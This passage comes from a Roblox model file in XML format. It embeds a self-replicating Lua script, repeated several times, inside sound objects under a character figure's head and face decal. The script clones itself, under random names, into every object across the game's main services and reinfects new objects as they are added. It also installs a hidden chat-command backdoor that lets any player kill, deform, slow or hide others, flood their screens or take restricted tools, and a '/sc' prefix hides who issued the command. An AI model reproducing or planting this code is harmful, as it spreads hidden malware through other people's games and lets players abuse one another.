for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX312">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX313</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX313">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-2.20598984</X>
								<Y>4.82223415</Y>
								<Z>126.679825</Z>
								<R00>0.550176978</R00>
								<R01>3.07810111e-009</R01>
								<R02>-0.835048079</R02>
								<R10>3.45762974e-009</R10>
								<R11>1</R11>
								<R12>5.96421845e-009</R12>
								<R20>0.835048079</R20>
								<R21>-6.16866247e-009</R21>
								<R22>0.550176978</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX314">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX315">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">dc6f6</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX316">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">8nly5n</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Decal" referent="RBX317">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">face</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX318">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">yjrt22</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX319">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">r3ukmb61</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
